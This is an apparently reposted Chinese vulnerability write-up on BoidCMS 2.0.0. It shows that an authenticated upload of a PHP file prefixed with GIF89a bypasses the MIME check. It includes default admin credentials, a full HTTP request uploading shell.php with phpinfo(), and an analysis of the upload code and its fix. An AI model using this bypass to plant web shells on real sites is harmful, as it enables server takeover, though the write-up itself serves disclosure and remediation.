当前位置: 首页 > news >正文

网站meta网页描述创建目录 wordpress

网站meta网页描述,创建目录 wordpress,MAC怎么做网站,下载百度2023最新版安装漏洞简介 BoidCMS是一个免费的开源平面文件 CMS#xff0c;用于构建简单的网站和博客#xff0c;使用 PHP 开发并使用 JSON 作为数据库。它的安装无需配置或安装任何关系数据库#xff08;如 MySQL#xff09;。您只需要一个支持PHP 的Web服务器。在 BoidCMS v.2.0.0 中存…漏洞简介 BoidCMS是一个免费的开源平面文件 CMS用于构建简单的网站和博客使用 PHP 开发并使用 JSON 作为数据库。它的安装无需配置或安装任何关系数据库如 MySQL。您只需要一个支持PHP 的Web服务器。在 BoidCMS v.2.0.0 中存在一个安全漏洞攻击者可以通过更改 MIME 标头来绕过上传文件的限制并最终执行任意代码。这个漏洞可能导致严重的安全问题因为攻击者可以上传恶意文件并在服务器上执行它们。 影响范围 BoidCMS 2.0.0 官网地址 Simple, fast, super extensible - BoidCMS 项目下载地址 GitHub - BoidCMS/BoidCMS: Flat file CMS for building simple websites and blogs 漏洞复现 使用账号登录后台 登录url为/admin admin:password 点击media 上传文件 POST /admin?pagemedia HTTP/1.1 Host: 192.168.116.128:8080 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryAdHS7v1pBwj2hFvh Cookie: _gaGA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba1709286898; wp-settings-time-11709712213; __test1; TCSESSIONIDC535ABCCFF3BD453A9744400E7499A10; PHPSESSID30296698223c1b44b6021dd0ce8ff70f Connection: close Content-Length: 478 ​ ------WebKitFormBoundaryAdHS7v1pBwj2hFvh Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/octet-stream ​ GIF89a ?php phpinfo() ? ------WebKitFormBoundaryAdHS7v1pBwj2hFvh Content-Disposition: form-data; nametoken ​ 38cde7eb88b52ab8ef98cfe140302b6b2d987c0e1dba398572426f6895bc58e0 ------WebKitFormBoundaryAdHS7v1pBwj2hFvh Content-Disposition: form-data; nameupload ​ Upload ------WebKitFormBoundaryAdHS7v1pBwj2hFvh-- ​ ​ 访问php文件 漏洞分析 找到后端文件上传的函数 /*** Upload media file* param ?string $msg* param ?string $basename* return bool*/public function upload_media( ?string $msg null, ?string $basename null ): bool {if ( ! isset( $_FILES[ file ][ error ] ) || is_array( $_FILES[ file ][ error ] ) ) {$msg Invalid parameters;return false;}switch ( $_FILES[ file ][ error ] ) {case UPLOAD_ERR_OK:break;case UPLOAD_ERR_NO_FILE:$msg No file has been sent;return false;break;case UPLOAD_ERR_INI_SIZE:case UPLOAD_ERR_FORM_SIZE:$msg File too large;return false;break;default:$msg An unexpected error occurred;return false;break;}$tmp_name $_FILES[ file ][ tmp_name ];$finfo new finfo( FILEINFO_MIME_TYPE );$type $finfo-file( $tmp_name );$types $this-_l( media_mime,array(application/json,application/octet-stream,application/ogg,application/pdf,application/photoshop,application/rar,application/svgxml,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/vnd.ms-word,application/vnd.oasis.opendocument.spreadsheet,application/vnd.oasis.opendocument.text,application/vnd.openxmlformats-officedocument.presentationml.presentation,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/zip,audio/mp4,audio/mpeg,image/gif,image/jpeg,image/png,image/svgxml,image/vnd.microsoft.icon,image/webp,image/x-icon,text/css,text/html,text/plain,text/x-asm,video/avi,video/mp4,video/mpeg,video/ogg,video/quicktime,video/webm,video/x-flv,video/x-matroska,video/x-ms-wmv));if ( ! in_array( $type, $types ) ) {$msg File format not allowed;return false;}$name $this-esc_slug( $_FILES[ file ][ name ] );$basename basename( empty( $basename ) ? strip_tags( $name ) : $basename );if ( move_uploaded_file( $tmp_name, $this-root( media/ . $basename ) ) ) {$msg sprintf( File b%s/b has been uploaded successfully, $basename );$this-get_action( upload_media, $basename );return true;}$msg Failed to move uploaded file;return false;} $finfo-file($tmp_name) 这行代码使用了 PHP 中的 FileInfo 扩展File Information它提供了一种获取文件信息的方式特别是文件的 MIME 类型。 具体来说$finfo-file($tmp_name) 这行代码的作用是读取临时文件的内容并返回其 MIME 类型。 然而这存在漏洞它是对比文件的前几个字节来确定文件的 MIME 类型。 若我们在shell.php文件里前几个字节加上GIF89a 则这个文件的 MIME 类型 将会是image/gif。由此便可绕过上传限制实现木马上传。 后续修复 对扩展名加了白名单
http://www.pierceye.com/news/236780/

相关文章:

  • 乡镇网站建设自查报告做企业门户网站要准备哪些内容
  • 百度做推广一般要多少钱相城seo网站优化软件
  • 博客和网站的区别贵阳网站推广优化公司
  • 专业做公司网站的机构时彩网站开发
  • 网站 建设设计深圳网站建设交易
  • 网站建设氵金手指下拉十二网页设计有啥教程
  • 物流企业网站建设策划书6wordpress 搜索 很慢
  • 青岛网站设计选哪家南海区住房城乡建设和水务局网站
  • 济南冰河世纪网站建设手机可以搭建网站吗
  • 网站建设论文总结wordpress文章排序方式
  • 织梦程序来搭建网站人才招聘网最新招聘信息
  • 网站建设 客户定位支付网站建设费会计分录
  • 深圳网站设计工作室广告公司名字 三个字
  • 长沙门户网站广告网站设计公司
  • 余姚网站建设的公司wordpress 开发文档
  • 怎么建设一个微信网站莱芜金点子最新招工信息
  • 石家庄网站排名优化wordpress修改布局
  • 景安服务器管理助手如何备份网站国外做图标网站
  • 网站轮播怎么做石家庄网站建设规划
  • 免费软件网站下载深圳网站开发哪个公司好
  • 建设项目验收网站公示内网门户网站建设方案
  • 滨海做网站哪家最好宝安附近做网站公司
  • 详情页的五大模块东莞网站优化科技有限公司
  • 南阳建设网站哪家好昆明网站服务
  • 大潮建设集团有限公司 网站网站改版策划方案
  • 网站开发心路历程烟台网站建设薇企汇互联见效付款
  • 企业网站的制作周期wordpress添加数据库表
  • 广告推广营销网站网站买空间的价格
  • 转转假网站怎么做linux建设视频网站
  • 伍佰亿搜索引擎网站系统wordpress 增加备案